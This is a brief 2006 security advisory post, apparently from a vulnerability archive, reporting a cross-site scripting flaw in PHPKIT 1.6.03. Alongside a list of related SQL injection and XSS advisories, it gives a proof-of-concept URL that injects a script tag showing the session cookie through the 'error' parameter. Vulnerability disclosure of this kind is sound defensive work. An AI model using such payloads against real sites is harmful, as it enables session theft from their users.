Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[eVuln] Skull-Splitter's PHP Downloadcounter for Wallpapers SQL Injection

[eVuln] Skull-Splitter's PHP Guestbook XSS Vulnerability

[SA19443] PHP Script Index "search" Cross-Site Scripting Vulnerability

[SA19439] Cholod Mysql based message board Script Insertion and SQL Injection

From:	badnet_xoopiter_(at)_yahoo.com <badnet_xoopiter_(at)_yahoo.com>
Date:	29.03.2006
Subject:	XSS in PHPKIT Version 1.6.03

http://www.example.com/include.php?path=login/login.php&error=<script>a
lert(document.Cookie)</script>

Discovered by BadNet !!!!